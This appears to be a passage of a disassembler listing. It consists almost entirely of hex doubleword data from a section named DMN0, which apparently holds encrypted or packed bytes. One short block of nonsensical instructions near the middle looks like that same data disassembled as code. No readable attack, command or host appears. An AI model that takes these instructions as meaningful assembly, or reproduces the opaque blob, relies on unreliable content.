1584770Fh dd 30524BBCh, 979E7BA4h, 0E3A4009Fh, 2E9D0908h, 0E08025CDh dd 69DB3448h, 0A0864C9Bh, 1ADFB39h, 71443795h, 8D47ED64h dd 57C373FCh, 0CE1B305Ch, 1F68634Dh, 456EFA4h, 0C07461B5h dd 6F5F2E77h, 505C8E0Dh, 613C313Eh, 0E0CB383Bh, 0B877D639h dd 79FAB1F9h, 8A3191FAh, 0F8C8FAC7h, 9A582C2Dh, 7B839CB5h dd 47B9E095h, 0C5A21B92h, 0BABD1C8Bh, 9A96A5E1h, 961075E1h dd 2B3462C6h, 0E783DC5Eh, 0D2B04FC5h, 5EE8CADAh, 670E613Fh dd 0C9B8C746h, 0B66F26A3h, 64FB963Ch, 0FDD2DA0Eh, 58000342h dd 76802653h, 9EFD784Dh, 229FF10Eh, 0CB058F88h, 0CDCADFE5h dd 0E4EBD1B9h, 7E1C1AD4h, 2AA828C6h, 0DF3D73C0h, 4BEE5BEEh dd 7AB1B83Dh, 1B64AB0Dh, 0FDD7F1F9h, 0BF7505E2h, 0B85698B1h dd 0AB8A3654h, 27D509BAh, 0B3596E36h, 0F3547DAh, 11D820D5h dd 0E1C4729Bh, 0F74E1D9Ch, 0FA365F1Bh, 0F81C4059h, 0EE769D2Ch dd 8372E56Ch, 3CA9F207h, 54CCBE73h, 0D9AC1744h, 0AE87D5BAh dd 1F6EED4Ah, 0CDFA10C1h, 0B86A2597h, 0C219CF17h, 637010A2h dd 2230D57Bh, 57A16A21h, 0FE810D85h, 0C31490B5h, 854105A6h dd 0F819D809h, 3314A9D9h, 0E318AB48h, 3780969h, 5D277B99h dd 0F8227F17h, 0E658537Dh, 41B788AFh, 36FE7C21h, 0B4D45E64h dd 4F45C44h, 0BF0D0510h, 1A9531D0h, 66DA2456h, 93E52DAFh dd 21F06659h, 0FD8604DDh, 0AD45C74Fh, 0AB46F92Fh, 2E03467Bh dd 0A79F806Ch, 5F57ADDFh, 6438F1B8h, 0E8BA5176h, 0FC42CB29h dd 2D847D25h, 209D6FD8h, 0A5A4C55Ch, 0F690DB8Ah, 98E2AC66h dd 596F7537h, 454E6A7Fh, 8BC91785h, 36876DFBh, 1F5BB063h dd 72F0EA18h, 227D3E28h, 74FA06A0h, 0BB59F70Dh, 7048A142h dd 25325C5Ah, 9936D45Bh, 2F2CE56Bh, 79675526h, 778F4FE6h dd 0ED51F7Ah, 69478CF0h, 0D3A42270h, 0C922B91Eh, 0FB46153h dd 23A3959Fh, 0F218F653h, 6A21000h, 9F69B71Ch, 599CB736h dd 2A45B99Eh, 45AF5C10h, 0DAC81048h, 4A6F8FF4h, 0A4377E5Eh dd 45D87E67h, 0CDC5B4C5h, 0C25FAED3h, 9127897Ch, 53C19102h dd 0F598FB4Bh, 0B76BEAAAh, 1F97BA6Ch, 28F81911h, 0DE3EC074h dd 925A015Ch, 34C85D64h, 465BFEA4h, 0EA4DE30h, 0D08258EBh dd 529C8A1Ah, 3A24BDD6h, 8CF20C3Fh, 5EA07A67h, 0EE1FF641h dd 2441FB69h, 55D7EE36h, 96DFCF2Eh, 0F4E6B29Ch, 0D10D41D9h dd 0C3F74E10h, 14C257B3h, 21DC2F85h, 66FF90FCh, 0BFA0B8EAh dd 394B204Ch, 0E65924E9h, 0AA794BFEh, 12733AE9h, 0A08542A5h dd 78D396DEh, 0A4CB36CAh, 90B5EF13h, 0CB22B62Fh, 3E5A611Ah dd 98EBC63Ah, 0FC1DEF67h, 0C1443C6h, 299EB54Ah, 805A6F98h dd 6228D380h, 2FAC626Eh, 0C858BF2Eh, 0C288B1EFh, 4E9C5BF8h dd 0ABF53C8Dh, 2DFAA940h, 264EA5Ch, 0DC85B60Fh, 842E66F9h dd 0EA8EF834h, 6EE59BFFh, 0A29D0BCh, 221E73A2h, 8B6B1D4Eh dd 4CA2ED25h, 7B8899ABh, 91E4F632h, 0E6495723h, 8F5F727Bh dd 2A575562h, 0F6AE78C3h, 0DE5CE8B8h, 9B4420F7h, 0C920D532h dd 0D35C11A3h, 91A3CFBAh, 0BF5DCDA1h, 9E2E14D6h, 0EB18B4DEh dd 0E2A634CCh, 8FF5F15Ah, 0E41FF15Dh, 0BDEA80D2h, 445A363Fh dd 98D6976Bh, 0E6CE681Bh, 7F50701Dh, 0C1969B71h, 0CACDB9E0h dd 0C5888CE5h, 2D2302E4h, 3AC93338h, 0EFDF212Ah, 3907EA72h dd 0EBD871EEh, 8E0759F5h, 84A5E3DCh, 58EDFD43h, 0C3CDAE0Fh dd 836A62E1h, 94CC9618h, 0AE6F0889h, 782CD004h, 0E8A620AFh dd 60828CC8h, 21633CEh, 71454005h, 0B8B49CCBh, 8D4D9747h dd 342308AEh, 17DE38AFh, 48337068h, 8555D2FDh, 13907D91h dd 0F6F5E730h, 2DF5D0Ch, 0F9F7023Dh, 0CD86380h, 30A0B3E5h dd 0AB502D0Fh, 0E1660CA6h, 0E68AF173h, 0BBD7CDFCh, 8320C19Eh dd 8E829CDAh, 466C25D1h, 6E03CC8Dh, 2134F3A3h, 0D91EF55Fh dd 0E1C3DC3Dh, 9BB5D208h, 8D76C7FAh, 34E08BC6h, 30EBD46h dd 0E73E7D77h, 21FB3867h, 92D008F3h, 9B28D4C1h, 0ABBC20Eh dd 494E9065h, 23C7AF26h, 0C67A57EEh, 4E02F626h, 153F1EA0h dd 5C237496h, 4384B202h, 9342E593h, 61EF9CFBh, 0F3E68EFFh dd 0D56D5A3Ch, 1EC02715h, 0F5EF9C3h, 0A3FE870Ah, 2AC67AFEh dd 4927F4CCh, 0A6F2BF53h, 5A2C30EEh, 31C50D4Ah, 0F6E8B745h dd 22B9E365h, 43ABE281h, 2029369Fh, 0A361EC80h, 743C9403h dd 52AD1577h, 40C20E6Eh, 9C7B5939h, 79C3EA58h, 457B072Ch dd 0F23383A3h, 85865833h, 9B3C46E3h, 71CBA08Ah, 0AA86D57Ch dd 0EDE8B242h, 0FCDBF20Dh, 0BBF294DFh, 506EC54Ch, 0AB4D398Ch dd 4A5C2135h, 242B4F63h, 3FEFA4F2h, 595D4F92h, 4EAB9B7Bh dd 27A5E6F8h, 42725B14h, 0C1AE5EAFh, 0F86AFCFBh, 870431F5h dd 1842DB6Dh, 910B408Bh, 1331F969h, 0CC651B18h, 4435F597h dd 45E96AEBh, 5C328C5Dh, 0A8A194DBh, 0ECE46904h, 0E8CEC8E5h dd 15D294ECh, 76CB4851h, 4E188429h, 8C9664F0h, 9AE5BEh dd 8DF7649Bh, 0A24BAB0Fh, 7D4E48E3h, 36E89D31h, 0B8D46796h dd 6955C3D6h, 15C258E7h, 73FA00EEh, 6877E8A4h, 5BCC353Ah dd 9A62033Ch, 6B2741ACh, 0AB5F134h, 77D84D9Eh, 0B8C9A4ADh dd 3F68E151h, 84D6EEFAh, 3D69B6A7h, 0AFD9212Dh, 8141C05Ch dd 36F27EBBh, 7AEA068Ch, 11BDCB9h, 8A65BF86h, 4B5E5A38h dd 0EFB032F3h, 6FB82126h, 0EF519757h, 41DF492Dh, 0B001022Ch dd 1E520013h, 6C23701h, 0EF7ADC94h, 3D927C9Ch, 3528D5B7h dd 0E203AF86h, 86100EF6h, 4B92BD8Ah, 35458C1Eh, 397F47ECh dd 6A832A20h, 2225E3DCh, 0A6CC9BA0h, 16A8F8D9h, 8B84AE7Ch dd 0E18EA893h, 0C9B9120Ch, 0FFA36972h, 0D2B85E40h, 0C8C1BD1Eh dd 12DD6293h, 8442A1Dh dd 2DC07209h, 80096BC0h, 0AD2F0336h, 0E12DE0E9h, 0A8AC15CAh dd 0ED33D79Ch, 313C225Fh, 7606A344h, 0F091DF16h, 0DC6D3E20h dd 7F883614h, 0EBEFD2C6h, 45614499h, 0EECF8900h, 0D1E56D18h dd 1512B061h, 592EC7E2h, 424E2298h, 4D57D832h, 7715A276h dd 0F78D91E4h, 1A14956Fh, 0CACE0C1h, 5AA49FA1h, 83E2A6F6h dd 0A6C72988h, 9857A9E7h, 1B82BA9Bh, 17505909h, 672F7E84h dd 0A9AD9205h, 0F10E641Dh, 0E687E232h, 67F011C1h, 57B60581h dd 0E461A273h, 5D9AA87Eh, 0EF46BA6Ch, 77FF928Fh, 6EBC9406h dd 31F579FFh, 0F83B7F4Bh, 523AD564h, 19817184h, 6503B3CDh dd 0DDD49880h, 237180AEh, 0F8569A68h, 5461EAC5h, 8B9DC791h dd 7D592E71h, 5EFA61C0h, 0DCAEE044h, 0DD85F405h, 97E908C8h dd 64D0D15Ah, 80932250h, 0B2344F05h, 0B5CD5496h, 170EC48Dh dd 0D905D024h, 0C2CCDEEAh, 7238749Bh, 0A890BCAEh, 8CA2229Ah dd 63015C09h, 983F9FB7h, 5372023Ah, 0B9F3F238h, 2EDDE9C7h dd 54CEB09Dh, 12705A22h, 0FD28C699h, 8642CD51h, 51847ED4h dd 0CD973AF1h, 0B98A50EEh, 9EB907A8h, 0BC099D04h, 0BB18E019h dd 54A654A3h, 0D2621258h, 2150CE3Dh, 0A1895DEBh, 0EFDE583Ah dd 74F764A2h, 4E18BE3Ah, 0B5A1435Ah, 9DFD1DD2h, 53CE08Fh dd 0E5691863h, 0E6AA72BEh, 2BA3E19Dh, 63A3613Fh, 77EE8C1Ah dd 0E4280F7h, 662A7FCAh, 0FE1FF91Ah, 8FC98600h, 0EC81B68Ah dd 0B1DAB59Bh, 67C7DDF6h, 0BC1FA94Eh, 20853239h, 0A320B3D4h dd 59E630DAh, 0DEECDD1h, 0A5EBC1Dh, 0A8CD0579h, 302A1A1Bh dd 0AAC954E5h, 0DD60D452h, 1C36B4E0h, 46E65460h, 850CF467h dd 52AEDB2Fh, 0E6CE706Ch, 0D07C6918h, 0C42B2EDCh, 0EA39DA99h dd 0EC1E3BE8h, 0AA809B6h, 14BB878Fh, 4C3F382Bh, 0EC1A2A27h dd 9D07AA31h, 0CB64E68h, 0DE21CB7Ah, 0A18D272Eh, 0E50BF1F3h dd 3E6230BCh, 60E2010Bh, 220868Ah, 0E97DB823h, 0C01227A5h dd 7A16D8BCh, 0F71C34C7h, 0D056EA24h, 0FA7C5BCAh, 2759BDDCh dd 6111546Fh, 35BA01B6h, 5099DF8Ah, 95AB4E34h, 0E6D59611h dd 0EF80F49Bh, 0C627C42Ah, 0F42F35E3h, 0E2DF6189h, 7E03AFEBh dd 6B6A36DFh, 1EF059D8h, 641A495Bh, 0D488E67Bh, 6B11B934h dd 0FC1B17A7h, 0C024C585h, 893C0D9Ch, 0A51A1C87h, 30A8C277h dd 454B5F16h, 264A38B8h, 2E0A3711h, 71A3B7C7h, 9600FDA1h dd 0D8155AB2h, 0A73FE1CEh, 50705985h, 340822ECh, 30ED3975h dd 456D1F8Ch, 0C3D4C532h, 22B6EDE9h, 0EA45106Bh, 6AEDCE30h dd 0F42BE4E0h, 349B90E9h, 7C864F87h, 196F79DBh, 7ED0623Ch dd 190062A6h, 4420973Dh, 0A2D75FE4h, 2C5CBD56h, 7F1043D3h dd 56002EBBh, 262C310h, 2EA0E01Fh, 68D22D41h, 0B7E274E6h dd 42047A5Dh, 38CD674Fh, 8EAC5A97h, 0F2C2DDC8h, 3D2DE514h dd 1492942h, 95731C0h, 0BCCF0EE4h, 0D4376A40h, 0C0339DB4h dd 6D8CA9F4h, 63764D23h, 3D0CA164h, 0B7221F3Ah, 11C67307h dd 16F7B89Dh, 1E07F10Eh, 0E9DED88h, 7C4562A2h, 0B1A9BFACh dd 415DD963h, 8196558Fh, 70BB30EEh, 4073483h, 0AFFFB96Fh dd 61D1C76Bh, 430BD975h, 0E9C34E22h, 0B1405B47h, 7FEE568Ah dd 3CFC4D15h, 0BE6CA1ABh, 6CC541A2h, 0E0B1EFE6h, 8C78241Ch dd 8A7FAA6Fh, 3AB92732h, 0CF6EC2A5h, 0F29F1F68h, 516357E8h dd 0A49492CAh, 0B6B501F1h, 4A36FB0Eh, 0E0D59A0Bh, 5DAEDF30h dd 5EC44A26h, 5FE460AFh, 0CFB97BA7h, 1ED090CFh, 58E47E58h dd 0C6B6FCEEh, 0D8ED9977h, 2AA2C9FDh, 65BF0C97h, 37386B6h dd 5451DB37h, 4996936Ah, 0F53C2704h, 17058659h, 0D72B6769h dd 0DE02807Ch, 0BE132EC2h, 3D2FE6FFh, 46FC2BB4h, 0ACACE495h dd 7BF27518h, 3BE60CBEh, 9AF96C5Dh, 1A414117h, 0F68A6F8Ch dd 0F8AA0F3Ch, 5FC399D0h, 5749D3E5h, 296A28D6h, 76CD6BB7h dd 0F3EBF8F8h, 0A1800ACh, 8115C858h, 0AA16C3E3h, 0F55325BAh dd 0CF6DBA83h, 0EB57FD62h, 9BF1AF6Dh, 0D75E9F95h, 0E2CFFEB2h dd 0E55C3329h, 3EB55B81h, 4CDA72F6h, 116E2451h, 2AA981A1h dd 0F0091B6Ah, 2BC18591h, 0F759ACF8h, 2586A2ECh, 500CF7B6h dd 0BE0B2C25h, 0ACBE5CDh, 57F82FF8h, 858C411h, 71D82F04h dd 8494F1A8h, 993C325h, 0B204147Fh, 2C274E3Fh, 0DCC5C7EFh dd 932666FCh, 0B3A9ED18h, 714A5668h, 0EF76FBA5h, 15012624h dd 55C6A634h, 0EB4268C6h, 8EFF3885h, 0BEECFCFAh, 7C97093Eh dd 586A8764h, 0B0772B35h, 19B5E6D9h, 54B9B3C3h, 0FB52F561h dd 0EC529608h, 4B51537Ch, 0C2422CCBh, 6B5D8B7Dh, 19EFF1C1h dd 361AA0E7h, 97048E61h, 0C4854869h, 67473327h, 81EA3E3Ch dd 0DD89A987h, 2EE8F824h, 28B0E8B4h, 86725E2Ch, 211217CEh dd 8A51CDCFh, 4D34DCCBh, 2EC07DF8h, 0CFCAA26Ah, 2237D210h dd 90258DB8h, 683381Bh, 0CB4E5CD6h, 0F1482759h, 0D06879FFh dd 2CF8DD58h, 0E6D61303h, 2F103CFFh, 36C793DCh, 0BC654CD3h dd 79FDF83Ah, 0A25C1F14h, 3BEB8FEh, 0D53DDEF2h, 5876EFF5h dd 760A80A0h, 8D79B362h, 17DDDC5h, 0B987B3A4h, 3CC5BF89h dd 8D792A28h, 5910632Ch, 3E82B63Ch, 0C35EE5D4h, 72D0505Fh dd 11C138CBh, 1DB2C4B1h, 0FD81E6BEh, 3D7D154Bh, 8BD493A5h dd 75CFDA3Dh, 5C94C98Fh, 85A7C39Eh, 0DFC7FE4Fh, 0EC75DA9Dh dd 4B32B1A1h, 3EAAE863h, 0D70D2642h, 410AD04h, 434D3EF3h dd 24A7703Bh, 30430844h, 0A2A45ED1h, 0D514EADBh, 121C1250h dd 21AA04C4h, 968EF9E5h, 98502C03h, 6F026C35h, 0F1F78348h dd 0D7B5F82Eh, 0E673FA50h, 0F1B145B4h, 3450FA7Bh, 5938B248h dd 3900BC7Dh, 0F1785962h, 0F1D5D36h, 5C29CCCEh, 6709E826h dd 6733E53h, 0D02D3309h, 47DC8F19h, 708525Fh, 38A05CEEh dd 5AEB475Ch, 3FB4370Bh, 0D0CA4D6Fh, 0F6C8023Ch, 0E026E265h dd 62C67B80h, 59CABD2Ch, 3CFA5980h, 0E927443Dh, 0E68DDDB6h dd 5E4E41Eh, 0CA18A4Ch, 8CEFEDC2h, 0C10C108Ah, 7C4357EEh dd 44CDA7BDh, 0F6CE0931h, 0DEEC68BCh, 0BCDE2441h, 0F1E11DFDh dd 7BE9645h, 90FA54F9h, 0C8E487BAh, 0D4118BBFh, 9A25362Ah dd 0FEF6F1Dh, 5F0680FEh, 0A2AA3FB1h, 7D3F0649h, 2D4839ECh dd 0DF09854Eh, 0DA1BDD0Dh, 34647BE6h, 0ACA7581h, 0D2B1AD64h dd 0EF084B28h, 9E630007h, 0AF75C33Dh, 11961C3Fh, 0AA440C62h dd 80BF32A9h, 8A9F79C3h, 0C5F7289Ch, 7DB9558Dh, 510E09D0h dd 0BCAAD59Eh, 0A6D026A7h, 0BCA37263h, 0E2BAC5A7h, 0B1F35094h dd 0B9C658A9h, 70B6617Eh, 9A53FA90h, 3F1EE4Dh, 0E147F25Eh dd 0B8CC151Ch, 0BF6CBC6Bh, 0EB501814h, 34DC30ABh, 6187E5D2h dd 5C011667h, 82AE0D30h, 0B80F9C33h, 0CFB1D444h, 0A338DBA1h dd 55AA0DABh, 2146C6FDh, 96492571h, 6DDB0156h, 5F37EA2Dh dd 70524E1Dh, 0F92D31CDh, 833AFB47h, 0FA3C29A4h, 71259BA1h dd 0B3046236h, 7F846A2h, 0A395D82Ah, 9EDE5FB2h, 721E858Dh dd 93482044h, 0F79E2EC7h, 0FE2F4E00h, 0C5FCF549h, 3B6BBDA7h dd 0F0F70D0Bh, 3C7D8656h, 7F8F4A8Dh, 2DF30B28h, 5C04D57Dh dd 37980528h, 47ABCA52h, 0A86B94B1h, 486F393Ah, 5E3E93C1h dd 42764BD8h, 4EFB6E2Dh, 0A1F735D6h, 0A1AF6C6h, 18354A4Bh dd 8401F030h, 67C47ECFh, 0CCAF95DFh, 168BBDB2h, 0A40BF737h dd 2BCF6D22h, 0CA5CC99Dh, 0C439C563h, 1213C154h, 2196129Ah dd 0FD166297h, 9B1AD8FEh, 3D29E16Ch, 268058D2h, 78DDD6A5h dd 120E3FBEh, 0CC52FA90h dd 835C44C5h, 0BA2CB871h, 0F8BAC1EBh, 0C813D8A7h, 0EC675A3Ch dd 2000AF02h, 17703E80h, 0AAFAB497h, 0A973146Dh, 6405E281h dd 0F56DE9Ah, 25D3EC5Eh, 2039AA7Bh, 91218E50h, 9912CCB1h dd 0B0336E0Ch, 0BBD1C240h, 0F71D86C3h, 402EA5EBh, 0B741208Ah dd 284E5B2Fh, 5AFACA56h, 8C18AD3Ch, 0F1D4FEA7h, 634D9349h dd 8449B94Ah, 73728931h, 3F997C84h, 2830EB67h, 910183C4h dd 0C287F649h, 2C9F4431h, 0B873F003h, 93E4EE07h, 4802CD81h dd 0A88C5400h, 38EDD990h, 2036F138h, 0D51351BFh, 4298285h dd 0A1501975h, 7E194314h, 0FBE96E39h, 2048A3CEh, 6F2F6260h dd 68552498h, 626E1D78h, 363AA6ADh, 8D281D34h, 46E4D48h dd 78A54639h, 0D41EA3Ch, 0B968C574h, 356E704Bh, 214915EDh dd 598FA479h, 6DE35BC4h, 21E1B111h, 0C0E29BA5h, 0D423E1CDh dd 0D9E1FC47h, 0B5394E72h, 57FE5667h, 0B2D6E7B0h, 50B6DC96h dd 1B60D23Dh, 9677989Ch, 926B369Ah, 0AF203D85h, 8BAB74EDh dd 0E00F2304h, 6694A0C4h, 3B2F20BAh, 2920BCBEh, 97AE283Fh dd 1CC6DC94h, 0D66B4E04h, 0EDC40DD9h, 0FE1C9554h, 348148EEh dd 233DEA53h, 0C7E3FA50h, 0A857CF1Ah, 0D32431FFh, 0EE4456EDh dd 0EFD83040h, 63C9DDFAh, 0FFC22B64h, 0D5DCCDE5h, 0A600017Bh dd 7386E66Ah, 0CF28E1F3h, 34D52391h, 0CF3B4C0Eh, 0AA09D217h dd 0E1A357BCh, 67B575C0h, 6CC4C2BDh, 6D125D6Eh, 27A800E7h dd 0B0D3361Ah, 8DA2E7E4h, 53485E88h, 5429463Ah, 0F511D129h dd 0DBDA033Eh, 1B1CB9A7h, 0D05E7D34h, 0F83A6253h, 2A7E49E8h dd 350A8E8h, 0E626ABEBh, 32DDDDA1h, 0D631DEDCh, 0FA815DD2h dd 51C72F7Eh, 0A6CC6D1Dh, 944B5638h, 3C059284h, 0DDC1372Fh dd 991D8123h, 783BBA85h, 0F8E2FB8Eh, 0CA015C9h, 362B69CAh dd 578C7B1Bh, 934C10FCh, 7A7871B7h, 19F99584h, 5F53C5BAh dd 4602F140h, 187AF5CDh, 4B3B328Dh, 0A8BF0346h, 2DA1E292h dd 87599463h, 91CEC4D9h, 0EE019C25h, 6C803B27h, 7586B59Ah dd 0F9847A8h, 0C3C20D1Ch, 4969E5A1h, 0C56B0929h, 271EA2EAh dd 9706277Dh, 0C73089DEh, 706B2E22h, 40EB2DBCh, 727832AAh dd 0BBD59BDh, 23BF0E4Ah, 58DFC814h, 0B520B8A8h, 6398D16Ah dd 0B164C548h, 0E2382918h, 7E3D4EF2h, 0AC2FCA03h, 6BD469FEh dd 0B2654133h, 47628225h, 2E0C8BCFh, 11F63840h, 0E74A3266h dd 3F54F4A1h, 687A482Ch, 564694FAh, 0DC92B309h, 7972A515h dd 35A53EB0h, 6195C2F8h, 0A8C217BBh, 73D81702h, 37314A52h dd 2FA45138h, 0D3676DBAh, 0E7F14B95h, 0A98984FDh, 0D77B5E44h dd 0CE972CC7h, 0FE2C34F9h, 280384E6h, 79E267Dh, 9638C9CEh dd 0B551701Ch, 320B03B4h, 0B749AC16h, 4538CCD2h, 0D986BDB9h dd 807841EEh, 65057DB4h, 4EB35DF5h, 8E057CBBh, 8F89D10Eh dd 2F4FBDCBh, 29DB0B69h, 5F237706h, 3520EAA9h, 0E62E1D15h dd 0A633E354h, 99095582h, 9B62445Bh, 386140E7h, 2222B443h dd 7A33274Bh, 27485264h, 0D55DEA5Ah, 75B5D65Ah, 7D132082h dd 0D99AFBB2h, 0D1545EDAh, 43D96DF1h, 2916514Bh, 7F484B50h dd 0FFF1BF4Fh, 7B5623FAh, 2F0BC8F4h, 0FEA22A54h, 31905D34h dd 0BB7E35DDh, 0B0C23BEh, 80323682h, 0D6D0A7Dh, 0F82865F2h dd 90538D7h, 9CE24556h, 1669B6F3h, 6D6976BAh, 24CC8976h dd 90A7D63Dh, 3D6772C5h, 0C9FA9393h, 0FE83B99Eh, 9B53CCD6h dd 0B3CF33E8h, 0D91158F7h, 0D584C7D0h, 83014h, 245AE3A9h dd 81481F7Ch, 34D03CFEh, 0C5DC272Fh, 0D0201EBh, 7C5974BCh dd 191B64EEh, 0E5C1DA3Fh, 7D3AE9C2h, 0C20AA6DFh, 563BC598h dd 0E2581301h, 0DB266DF8h, 0C7CB0338h, 0DD7A029Ch, 8D7DF02Bh dd 3EDB5A8Ah, 0CBAEDBB2h, 24A62C5Eh, 0D025170Bh, 457908B4h dd 0B0EB2FA3h, 12A33F4h, 76483717h, 48E1C824h, 0E55839D8h dd 0C16298E0h, 26FBFDC1h, 0C7A4FAE1h, 0B6E0C6B2h, 0E75D2545h dd 9DB9946Bh, 61390373h, 8324EA07h, 7D3DD287h, 4F2D4BAAh dd 577B633Eh, 48FBC86Ah, 1BE6FBFh, 0EA8C48C8h, 0A54CE6CBh dd 0BDA4E61Eh, 0C9F3CA5Dh, 0A6E6A735h, 29A8F6A7h, 2D81C245h dd 365C33D4h, 0A3E680F6h, 0F3A3CD41h, 553A3595h, 0E28C13CCh dd 0FAD2145Ah, 0D4C719DAh, 0BF30C0Ah, 61BD7E7Dh, 0FDC9E8F2h dd 2441103Dh, 0C1A66C13h, 0B77E5A56h, 9B2C0700h, 5C26DDF0h dd 55D18A5Ch, 878699F4h, 0E4C8E0E1h, 0B31EFCA9h, 95FB4F33h dd 0C4309784h, 2A923B19h, 4F49D2C9h, 63B22F17h, 2095AA32h dd 6CE27833h, 49BFCECDh, 0F300EB5Dh, 26E59A9Fh, 0ECD176EDh dd 0DBFDFDCDh, 830BBAE5h, 0F9489832h, 3A96082Dh, 0ECA3C011h dd 6D51F202h, 0BB5A15D4h, 9B1D1D25h, 34A1B580h, 73841B87h dd 0BD574F7Fh, 0A9BB5B5Ah, 48BC6A94h, 9E8725D4h, 0BE4ED574h dd 33A32872h, 12336355h, 0B8CF81B0h, 59639EACh, 13A4D104h dd 193442F8h, 4BC88620h, 0C2D33C9Ch, 9891FCD4h, 4E098C79h dd 0EE26790h, 3AE9721Dh, 1975BAD9h, 5A7211E9h, 0F1C1EEFCh dd 0D6DF742Fh, 0A400E63Bh, 0BBC5E5CFh, 55C1E3BBh, 0B0E2245Fh dd 9D44E653h, 0C1B01B8Ah, 30A379A8h, 0BFD50901h, 3DCCAA5h dd 4E483C55h, 0DBB61868h, 594B501Eh, 7C753EABh, 7CF79C83h dd 1B9254D6h, 0D738C308h, 1A26495Ah, 0E5143001h, 2EBD1F30h dd 42C3EF1Ch, 0EF79E91Ah, 0D27B053h, 0B3C71DC6h, 0D357A96Fh dd 0A77E40CAh, 0AD2EC15Eh, 9E90AB2Bh, 78E4ADA7h, 0AE041954h dd 7A2DF77Eh, 0BB72DEE5h, 8DB9A9F4h, 0E0B0E4A6h, 13A1CD40h dd 8F4FC3A6h, 46DE01C3h, 8DF8F5A6h, 0F8E304C0h, 0B3D129AAh dd 49F37DA0h, 0AB528AA6h, 0A92D9DF2h, 1C410932h, 4DE96B0Bh dd 70074B73h, 14FE2BB7h, 7EFF2F54h, 0E091E1B6h, 0E985B650h dd 34BB917Eh, 0B8CFD048h, 6067AD05h, 4ECA91D3h db 0E3h, 0E8h, 32h ; --------------------------------------------------------------------------- loc_42A297: ; CODE XREF: DMN0:0042B065j xchg eax, [edx-7BC48A18h] sub [edx], dl rcr dword ptr [esi+55h], 1 ror dword ptr [ecx], cl inc ebp not byte ptr [edi+33AB1D83h] pusha fnstsw word ptr [edi-48BEC972h] rcr byte ptr [ebp+5F2951E5h], cl sbb [ebx+7Fh], ecx jmp far ptr 0FEF6h:759C38CDh ; --------------------------------------------------------------------------- dw 39EEh dd 971FE9E2h, 0F9AC2E12h, 6CD3FAC4h, 0FF1D7DC6h, 156DFBB1h dd 72249870h, 0AE4DB755h, 720C8FC1h, 12F98AFDh, 5129B09Eh dd 45459F9Dh, 9C8E4374h, 0C1D63FCh, 99AB6AFFh, 8A58FF72h dd 89114F0Fh, 10CC0548h, 9C48820Fh, 0A9F4DB1Fh, 6D4705DFh dd 93A82A41h, 7309838Bh, 584110C9h, 34A5283Fh, 9A9D66F2h dd 196370D9h, 975AE32Eh, 0E85ADAD9h, 843B0E87h, 0F165445Bh dd 0A649A48Bh, 0C5132D4Bh, 0B2BC3E73h, 0EF14EBDFh, 0B8A28C47h dd 0B5D23484h, 8EB8C2B8h, 7EF7AA15h, 7F8A9C1Eh, 3C26C086h dd 25350402h, 2C4F6C4Bh, 0A1500C0Dh, 0C382AEFDh, 1315049Fh dd 58582CA7h, 4C5F5C55h, 0ABCD5F57h, 0C67D2EA5h, 645107BDh dd 6D4509A7h, 1891D5FBh, 0E912BDBEh, 0EA6B01EEh, 0CA51B48Eh dd 0ED16C3B0h, 0FE9B6ED7h, 36464066h, 0D1B95265h, 0E9C21DCBh dd 0D14B27B1h, 63536B30h, 460D852Eh, 6A180B00h, 1BF2D595h dd 0D412F7A1h, 4482EE13h, 82271EC7h, 19357E2Bh, 0E8211C45h dd 2E1F6E4Fh, 0BEE113Bh, 0C8B37156h, 33141309h, 412BA70Bh dd 698430ACh, 2C96F4ECh, 0EC966AF9h, 0F7C26D63h, 8BE5F455h dd 9AC11224h, 0F0ED32E1h, 6300AFE1h, 8A29F50Fh, 7529A87Eh dd 0CB18D0EAh, 0F21EFE62h, 74C06C35h, 4BBA7CBEh, 85A16775h dd 4374EAD8h, 66A5F259h, 15B53A08h, 1240D435h, 0B992ABA6h dd 82367DBCh, 47203922h, 52847531h, 64581ACDh, 0EEA2F383h dd 532D72E9h, 33662C53h, 11A55B30h, 0DD6BA3A9h, 17B70DE1h dd 0D4997577h, 0B6FD9BE3h, 78375DE7h, 2CFD371Fh, 936594Fh dd 8E61AE1Dh, 85F695ABh, 0EE6C8CB9h, 10A634EFh, 129C49D9h dd 0AA088BA1h, 173FB5DAh, 12E32AE2h, 4920F0F3h, 0A1248575h dd 22D7D527h, 0A4F820DEh, 468F478Ah, 2B7EAF2Ch, 2E7DA0ACh dd 5932741Fh, 8FC29462h, 486ED89Eh, 6EE0A1FCh, 2D7424E1h dd 0DA388D07h, 0E13A6734h, 24C5E390h, 8174BC1Bh, 0FEA47D7Ah dd 0B4DD0A1Ch, 0F36FBD13h, 0E23C47E4h, 5FB6DF62h, 9D1C2D96h dd 0ED9DE651h, 2D5323C0h, 0FA2B3F42h, 321E5854h, 0D50605C2h dd 466888C3h, 7DFAAE50h, 0E9D01216h, 0F82302EDh, 19835D2Ah dd 324BA81h, 0D3A75ED5h, 0CCD38678h, 4C286C70h, 79D2566Dh dd 3E2A3E38h, 0EFE3128Eh, 7E4B9089h, 0E0FA35D6h, 79449DF3h dd 835A8C15h, 2085EC78h, 89A67041h, 5E9B4DFh, 0B75DC76Ch dd 95CF2D19h, 51E71A30h, 929FED72h, 0F4B2DBE6h, 0E9221C06h dd 81EE2787h, 0D68F6723h, 9438B7DBh, 0BEC7C1FBh, 8AF888FCh dd 0A06D66Ch, 36A18909h, 0D5334084h, 0B7A670D1h, 3F9080CCh dd 22DCEA57h, 268FD51h, 1FEAFB11h, 0A64B8FADh, 0D80E2242h dd 0E85AF55Fh, 3CDBC776h, 5363298Fh, 1302FDFFh, 7BEB37E5h dd 6E20FD0Bh, 0FE0F7A3Bh, 58A9C007h, 0F85A95A8h, 0C336C4C9h dd 0F6180EE0h, 83985B9Ch, 9F6BA64Eh, 82B1C007h, 131F8349h dd 53995DBEh, 0C2F2A92Ch, 0F9544353h, 8F241A68h, 0CB436FEDh dd 7FE7F924h, 0CEB65C3Ah, 5BB3EE9Bh, 81D42583h, 6D00718Ch dd 9107E382h, 1BA0879Ah, 561A7893h, 38735B4Dh, 7A669538h dd 71AE8D5Eh, 922ADC02h, 0FC4BA500h, 0E8E289Bh, 0A632CB27h dd 810F064Dh, 4DF6B450h, 0CC7E426Ch, 0FF2C9B3h, 4DBA2321h dd 7D15CDD0h, 2DEAB101h, 0F78F1756h, 0D384E33Dh, 44D13E91h dd 0CCAD804Fh, 91109B87h, 694ECCE2h, 0B067E77Ah, 31B27E89h dd 4109B825h, 0A312C515h, 0FE945CDDh, 9984E394h, 0F76DDF4Bh dd 9F1BE82Ah, 0F09AF3C0h, 77B5B989h, 71FE6072h, 9DBD23FDh dd 